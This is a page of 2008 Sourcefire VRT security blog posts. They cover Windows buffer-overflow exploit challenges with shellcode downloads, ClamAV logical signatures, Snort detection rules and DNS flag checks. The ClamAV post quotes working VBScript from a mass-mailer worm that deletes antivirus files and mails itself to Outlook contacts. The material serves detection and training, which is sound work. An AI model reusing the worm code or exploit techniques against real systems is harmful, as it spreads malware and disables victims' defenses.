Snort.org - VRT Rants and Raves

We moved our blog

VRT (Sourcefire)

We have moved the VRT blog to http://vrt-sourcefire.blogspot.com. In the coming weeks we will include the feed from the blog here. In the meantime, feel free to get your VRT news and gossip from the link above.

AWBO4!

Lurene (Sourcefire)

Some of you tore through awbo3 pretty quickly, but I wanted to give others time to catch up before posting this one. We're going to start getting into some issues you'll see in live software when working on exploits. This one in particular might remind you of a certain back orifice parsing vulnerability you may be familiar with.

It was asserted that this one couldn't be done in XPSP2, only in Win2k, but it really depends on how cl orders the stack before tossing the cookie in. Later, you'll get a chance to work on this with a mocked up stack cookie (awbo6) so keep that in mind here. For now though, lets stick to Win2k. The same rules apply here: no NOP sleds, no static stack return addresses.

For those who are just joining us, shellcode is here, and the windbg cheatsheet is here.

Hang on folks, we're venturing into rough waters. AWBO4

"Most deadly errors arise from obsolete assumptions"

Logical Signatures in ClamAV 0.94

Alain "Strawberry" Zidouemba (Sourcefire)

On September 1, 2008 Sourcefire released an engine update for ClamAV. This latest version offers new and updated features that allow researchers to write better signatures to detect malware. A quick overview of the changes in ClamAV 0.94 can be found here.

Up until ClamAV 0.93, the following formats have been used the most to write signatures to detect malware:

a full MD5 checksum of a file inside .hdb files in the following format: MD5:FileSize:MalwareName
a MD5 for a specific section of PE file stored in .mdb files in the following format: PESectionSize:MD5:MalwareName
a signature in a .ndb file using the following format: MalwareName:TargetType:Offset:HexSignature[:MinEngineFunctionalityLevel:[Max]]

ClamAV 0.94 introdcues a key new feature: logical signatures. A logical signature employs Boolean operators to combine one of more .ndb-style signatures into a single one. The main benefit of this approach is that it allows for more flexible pattern matching. The format for these new logical signtures is:

SignatureName;TargetDescriptionBlock;LogicalExpression;Subsig0;Subsig1;Subsig2;...

Logical signatures should be stored in .ldb files.

Let us illustrate how logical signatures can be used by analyzing a mass-mailer worm. The code for this sample is in Visual Basic Script (VBS) and so is easily readable. Right away we can see that the worm can loosely be classified in the category "AV Killer" as well since it attempts to identify the presence of various AV tools in order to disable them.

Registro = legion.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If FileExists (Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal Pro\Avp32.exe") then path = Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal Pro"
legions.DeleteFile (Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal Pro\*.*")
If fileexists (Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal\Avp32.exe") then path = Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal"
legions.DeleteFile (Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal\*.*")
if FileExists(Registro & "\Antiviral Toolkit Pro\avp32.exe") then path = Registros & "\Antiviral Toolkit Pro"
legions.DeleteFile (Registro & "\Antiviral Toolkit Pro\*.*")
if fileexists (Registro & "\AVPersonal\Avguard.exe") then path = Registro & "\AVPersonal"
legions.DeleteFile (Registro & "\AVPersonal\*.*")
if fileexists (Registro & "\Trend PC-cillin 98\IOMON98.EXE") then path = Registro & "\Trend PC-cillin 98"
legions.DeleteFile (Registro & "\Trend PC-cillin 98\*.*")
legions.DeleteFile (Registro & "\Trend PC-cillin 98\*.EXE")
legions.DeleteFile (Registro & "\Trend PC-cillin 98\*.dll")

After normalization, we can create 4 signatures to detect each attempt to disable AV tools as follows:

Kaspersky Antivirus Personal/Kaspersky Antivirus Personal Pro (0): 66696c656578697374732028{-25}202620225c6b6173706572736b79206c61625c6b6173706572736b7920616e7469766972757320706572736f6e616c
{-100}2e64656c65746566696c652028{-25}202620225c6b6173706572736b79206c61625c6b6173706572736b7920616e7469766972757320706572736f6e616c

Antiviral Toolkit Pro (1): 66696c6565786973747328{-25}202620225c616e7469766972616c20746f6f6c6b69742070726f{-100}2e64656c65746566696c652028
{-25}202620225c616e7469766972616c20746f6f6c6b69742070726f

AVPersonal (2): 66696c656578697374732028{-25}202620225c6176706572736f6e616c{-100}2e64656c65746566696c652028{-25}202620225c6176706572736f6e616c

Trend PC-cillin 98 (3): 66696c656578697374732028{-25}202620225c7472656e642070632d63696c6c696e{-100}2e64656c65746566696c652028
{-25}202620225c7472656e642070632d63696c6c696e

Another very important characteristic of this script is that this worm tries to use Outlook MAPI to send itself to the first 8000 contacts found in the address book.

Set Create = CreateObject ("Scripting.FileSystemObject")
Set mail = Create.CreateTextFile("C:\mail.vbs")
mail.writeline "On Error Resume Next"
mail.writeline "Dim leg, Mail, Counter, A, B, C, D, E"
mail.writeline "Set leg = CreateObject" & Chr(32)& "(" & chr(34) & "Outlook.Application" & Chr(34) &")"
mail.writeline "Set C = CreateObject "& Chr(32) & "(" & chr(34) & "Scripting.FileSystemObject" & Chr(34)& ")"
mail.writeline "Set Mail = leg.GetNameSpace" & Chr(32) & "(" & chr(34)& "MAPI" & Chr(34)&")"
mail.writeline "For A = 1 To Mail.AddressLists.Count"
mail.writeline "Set B = Mail.AddressLists (A)"
mail.writeline "Counter = 1"
mail.writeline "Set C = leg.CreateItem (0)"
mail.writeline "For D = 1 To B.AddressEntries.Count"
mail.writeline "E = B.AddressEntries (Counter)"
mail.writeline "C.Recipients.Add E"
mail.writeline "Counter = Counter + 1"
mail.writeline "If Counter > 8000 Then Exit For"
mail.writeline "Next"
mail.writeline "C.Subject =" & Chr(32) & Chr(34) &"Legion Game" & Chr(34)
mail.writeline "C.Body = "& Chr(32) & Chr(34) & "YA jugaste el juego Legion? si no aqui te lo doy checalo y hay me dices que tal..." & Chr(34)
mail.writeline "C.Attachments.Add"& Chr(32) & Chr(34) & "C:\Legion.vbs" & Chr(34)
mail.writeline "C.DeleteAfterSubmit = True"
mail.writeline "C.Send"
mail.writeline "Next"
mail.Close
legion.Run ("C:\mail.vbs")

A signature to detect this portion of the file could be (4):

666f7220{-10}203d203120746f20{-10}2e61646472657373656e74726965732e636f756e74{-100}726563697069656e74732e616464
{-100}696620{-10}203e20{-5}207468656e206578697420666f72{-300}2e6174746163686d656e74732e616464{-150}2e73656e64

With ClamAV 0.94 and the addition of logical signatures, we write this highly flexible signature:

Worm.Godog;Target:0;((0|1|2|3)& (4));(0);(1);(2);(3);(4)

With a successful match, this signature will return the malware name "Worm.Godog". A match will occur when signature (4) is detected as well as either signature (0), (1), (2) or (3). The signature will look like the signature below in a .ldb file:

Worm.Godog;Target:0;((0|1|2|3)& (4));66696c656578697374732028
{-25}202620225c6b6173706572736b79206c61625c6b6173706572736b7920616e7469766972757320706572736f6e616c
{-100}2e64656c65746566696c652028{-25}
202620225c6b6173706572736b79206c61625c6b6173706572736b7920616e7469766972757320706572736f6e616c;66696c6565786973747328
{-25}202620225c616e7469766972616c20746f6f6c6b69742070726f{-100}2e64656c65746566696c652028
{-25}202620225c616e7469766972616c20746f6f6c6b69742070726f;66696c656578697374732028
{-25}202620225c6176706572736f6e616c{-100}2e64656c65746566696c652028{-25}202620225c6176706572736f6e616c;66696c656578697374732028
{-25}202620225c7472656e642070632d63696c6c696e{-100}2e64656c65746566696c652028{-25}202620225c7472656e642070632d63696c6c696e;666f7220
{-10}203d203120746f20{-10}2e61646472657373656e74726965732e636f756e74{-100}726563697069656e74732e616464{-100}696620{-10}203e20
{-5}207468656e206578697420666f72{-300}2e6174746163686d656e74732e616464{-150}2e73656e64

In previous versions of ClamAV up to 0.93 included, one would have to write many signatures in order to match the flexibility of the signature above. In this malware sample, 3 different AV tools are disabled the worm tried to spread to the first 8,000 contacts of your Outlook address book. However, a variant could disable just one of the AV tools and still try to spread over the network. To detect the variant that just disables Kaspersky AV, a pre-0.94 signature would look like:

Worm.Godog:0:*:(0){-750}(4)

To detect the variant that just disables Antiviral Toolkit Pro, a pre-0.94 signature would look like:

Worm.Godog:0:*:(1){-700}(4)

More signatures can be written for the other cases.

This simple example shows how logical signatures can be very powerful in reducing the number of signatures written to detect variants within a malware famill. Logical signatures can also help detect malware samples that were previously tough to detect and reduce the number of false positives detections.

Webcast teaser - Basic Buffer Overflow Detection

Matt Olney (Sourcefire)

Our next webcast, Performance Rules Creation: Rules Options and Techniques, is scheduled for 1pm EST on Wednesday, September 17th. We'll be using actual published VRT rules to demonstrate common rule structures, rule options and some of the gotchas that you might run across when writing Snort rules. We will also be referring back to some information from our previous webcast, which concentrated on the architecture of the Snort engine and performance considerations in rule writing. If you didn't catch it, you might want to review the material. It is archived at: http://www.sourcefire.com/resources/snort-webcast-access?sfext=snorthome1.

For example, we'll be looking at a common buffer overflow detection technique using negative content matches and the isadataat rule option. We use SID 13916 to demonstrate:

alert tcp $EXTERNAL_NET any -> $HOME_NET 4000 (msg:"EXPLOIT Alt-N
SecurityGateway username buffer overflow attempt"; flow:established,
to_server; content:"username="; nocase; isdataat:450,relative;
content:!"&"; within:450; content:!"|0A|"; within:450; metadata:policy
balanced-ips drop, policy connectivity-ips drop, policy security-ips
drop; reference:url,secunia.com/advisories/30497/; classtype:attempted-
admin; sid:13916; rev:2;)

For easier analysis, here is the core detection functionality of the rule, broken into a list:

> flow:established, to_server;

> content:"username=";

> isdataat:450,relative;

> content:!"&"; within:450;

> content:!"|0A|"; within:450;

Because this is an attack on a server, we use the flow:established, to_server; rule option to tell Snort to only look at traffic that is headed towards a server (in this case, one listening on port TCP/4000). This both provide an increase in performance by not looking at server-response traffic, and will reduce false-positives by not looking at traffic that could not possibly trigger the vulnerability.

Next, we look to match the string "username=" in the packet. For those following along from last time, this will be the "first, longest" content match, and will be used in the fast-pattern matcher. This string is actually the beginning of the vulnerable field, so we will use it to anchor our upcoming detection. Also, note that we believe that "username=" could be upper or lowercase, or any combination, so we use the nocase keyword to modify the search to be case insensitive.

The attack appears to require at least 450 bytes of data to successfully overflow the buffer. Also, given the protocol we're looking at, we know that both "&" and "\x0a" (also, \x0d\x0a, but we will just use \x0a for speed, since it works alone or paired with \x0d) are terminating characters that indicate the end of data for that key/value pair. Using this information we build the detection with the last three rule options.

We use a pair of negative content matches, content:!"&"; within: 450; and content:!"|0A|"; within: 450; to ensure that we do not see either terminating condition in the next 450 bytes of payload. Note that we use "within" as opposed to "depth", because "within" sets the relative match flag and operates from the end of the previous match (username=). Depth would operate from the beginning of the payload (a non-relative search).

There is a problem with using negative content match. It will return as successful (that is, it did not see the provided pattern) even if it runs out of data to read before it reaches the end of our within: 450 requirement. This is bad for two reasons: One, we might false positive on an unreassembled TCP message (splitting the username= field across two packets), and two, if we don't have enough data to create an overflow, we shouldn't be doing a pair of content checks. To solve both these issues we use the isdataat: 450, relative; check to ensure that starting from the last match (username=), we have 450 bytes of data remaining in the payload buffer. If there isn't enough data left, we won't bother with the last two checks, avoiding a false-positive situation and the overhead of running two long, unnecessary content checks.

The detection is fairly simple, find "username=" and then see if the provided data is 450 or more bytes of data. If it is, we most likely have an attempted buffer overflow attack. But as you can see there are a number of factors we need to get right to ensure we have optimized detection that is both accurate and fast.

If you're interested in more examples, catch the webcast on September 17th.
Here are the details:

Date: Wednesday, September 17, 2008
Time: 1:00 PM US Eastern Daylight Time (GMT -4:00)

Registration:
https://sourcefireevents.webex.com/sourcefireevents/onstage/g.php?t=a&d=663541041

AWBO Part Deux

Lurene (Sourcefire)

Since some people have been chomping at the bit for the next challenge, so here it is. The same rules apply as did last time. When we say no static stack return addresses, this also means of course that there's no need for NOP sleds, so I shouldn't see them in solutions. This time around you'll find a solution under Windows 2000 SP4, then you'll find a solution for Windows XPSP2. I've also included a windbg cheat sheet to save the poor soul who told us he had worked out a solution using only Dr. Watson...

awbo3.exe download and windbg cheatsheet

Checking Multiple Bits in a Flag Field

Patrick Mullen (Sourcefire)

Sometimes, it is necessary to check a value in a flag field that is not a power of two (1, 2, 4, 8, etc.) and therefore requires multiple bits to be represented, yet other values in the byte are not part of that flag field. Such is the case for DNS where server status codes are represented as a four-bit value within the fourth byte of the DNS response packet (Reference 1). For the Kaminsky DNS bug (Reference 2), the Sourcefire VRT developed a rule to detect the "back scatter" of the attack in the form of excessive NXDOMAIN packets being sent by a DNS server.

The trouble with detecting NXDOMAIN packets is that the return code field is only four out of the eight bits in the byte. We cannot simply use a byte_test on the value 6 because if any of the other flags in that byte are set the byte_test will fail. Additionally, we cannot do a bit test for 6 in an attempt to ignore the top four bytes because decimal 6 requires two bits to be set in binary form and bitwise AND will return true if either bit is set, not just when both bits are set. For this reason, we must synthesize the value of 6 by checking each individual bit.

The decimal number 6 is represented in the following binary form:


 0 1 1 0

This can be determined by using a calculator that will output in binary (Microsoft's XP Calculator in scientific mode will do), or by splitting the number 6 into its component powers of 2, which is 4 + 2. You also can read the binary representation above as (0 * 8) + (1 * 4) + (1 * 2) + (0 * 1). This is important to know, as we must test for each bit individually with its own byte_test.

To make this example line up directly with the DNS bug, we will now split these byte_tests exactly as they would be done for checking for NXDOMAIN packets.

The format of byte_test is the following -- byte_test: , [!], , [,relative] [,] [,] [,string];

Make sure the highest bit is not set:

byte_test:1,!&,8,3;
Make sure the second highest bit is set:

byte_test:1,&,4,3;
Make sure the third bit is set:

byte_test:1,&,2,3;
Make sure the lowest bit is not set:

byte_test:1,!&,1,3;

In the above operators, the '&' mean "bitwise AND," which returns true if the bit is set. Preceeding the '&' with '!' means "NOT bitwise AND," and returns true if the bit is not set, as expected.

Note that for the VRT's check for Kaminsky DNS back scatter, we only check the bits that are set, and ignore the most and least significant bits. This was done for performance reasons. It was decided that false positives would be at an acceptable level due to the values of the other rcodes not overlapping those two bits heavily and because the rule uses a threshold so a number of false positives would be required to trigger the alert.

We cannot simply do a single bitwise check for 6 as the bitwise check will return true if either bit in the value 6 is set. Due to the way bitwise AND works, there is no way to distinguish which bit was set or if both bits were set. By checking each individual bit, both the bits that are set and are not set, we have guaranteed the exact value of those four bits. Additionally, we have gotten around the problem where values in the top four bits would make a regular byte_test fail. The Snort rules language allows for the multiple byte tests to work because subsequent tests will only be run if the previous test succeeded. For this reason, it doesn't matter that we are essentially synthesizing the number based upon testing for its binary
components.

REFERENCES:

DNS, Domain Name System, http://www.networksorcery.com/enp/protocol/dns.htm
http://www.snort.org/vrt/docs/white_papers/DNS_Vulnerability.pdf

Defcon, testing and exploiting

Lurene (Sourcefire)

This year at Defcon Immunity trotted out the first iteration of their NOP cert test, and I had the pleasure of giving it a test run. I still think it's a great indicator of ability, despite the Immunity tools focus; I'm not a user of any of their tools generally, but I managed to pull off the hardest level test in a modest time. It got us thinking on the way home, where does one go from the bar set by the NOP to get to the next level in terms of exploit development skill? In this vein I've thrown together a few windows executables, and in a nod to Gera of Core, they're called Advanced Windows Buffer Overflows (AWBOs).

We've set up a few ground rules and a basic set up to keep things moving along:

1) All exploits are performed in Windows 2000 SP4 unless otherwise specified. Sometimes, otherwise will be specified.
2) Exploits will use the provided shellcode, or ret2lib.
3) You may not return to hard coded stack addresses.
4) No source code will be provided - just like the NOP cert.

Standard tools used are cygwin with perl, and windbg, installation in vmware a plus. The shellcode provided is the amazing windows exec shellcode from metasploit set up to run calc.exe.

I can say that all of these are exploitable, and they run through a progression, so try to do each of them in the most straight forward way possible. We'll be skipping awbo1.exe as it's very similar to one of immunity's tests (as far as my memory serves). They'll be released slowly over the next few months. Feel free to send in your solutions, or ask for tips. All of the examples have been play tested by the VRT analysts team, and are assured to be exploitable.

"This next test could take a very, very long time. If you become lightheaded from thirst, feel free to pass out. An intubation associate will be dispatched to revive you with peptic salve and adrenaline."

Awbo2.exe download and shellcode download

DNS Vulnerability Paper

VRT (Sourcefire)

Now that Defcon is over and the Kaminsky DNS Vulnerability is completely out in the open, the Sourcefire VRT has a new whitepaper that discusses the issue and suggests detection methods using Snort rules. Download it here.

Flash Vulnerability Info

Matt and Lurene (Sourcefire)

If you want the lowdown on the recently announced flash vuln (CVE-2007-0071) then take a look at our analysis here:

http://www.snort.org/vrt/docs/analysis/flash-cve-2007-0071.html

Enjoy.

How to annoy co-workers taking a break

VRT (Sourcefire)

We have a Foozball table here at SF World Domination HQ. It sees a lot of action from various people in the company during lunchtimes. Unfortunately, it is located close to the VRT lair. So close in fact, that we are able to run wire to a speaker strategically placed in the ceiling above the table. Once the speaker had been placed into position and the wires run back to the lair, the other ends of the wire were attached to a pair of desktop speakers connected to a laptop containing mp3s of some of the most hideous music known to man.

All we had to do was wait for the first set of victims. Sure enough, right on time, luncheon arrived and so did the unsuspecting groovers. A dose of Abba's "Dancing Queen" was enough to send them scurrying out and back to their part of the building.

The results so far: VRT 3 - IT Staff 1.

UPDATE: VRT 1 - Martin Roesch, Sourcefire CTO 0

The next victims can expect to be "Rick-Rolled", yes, we are that evil. (we will get some pictures of the debacle soon, hopefully we can catch some folks dancing too)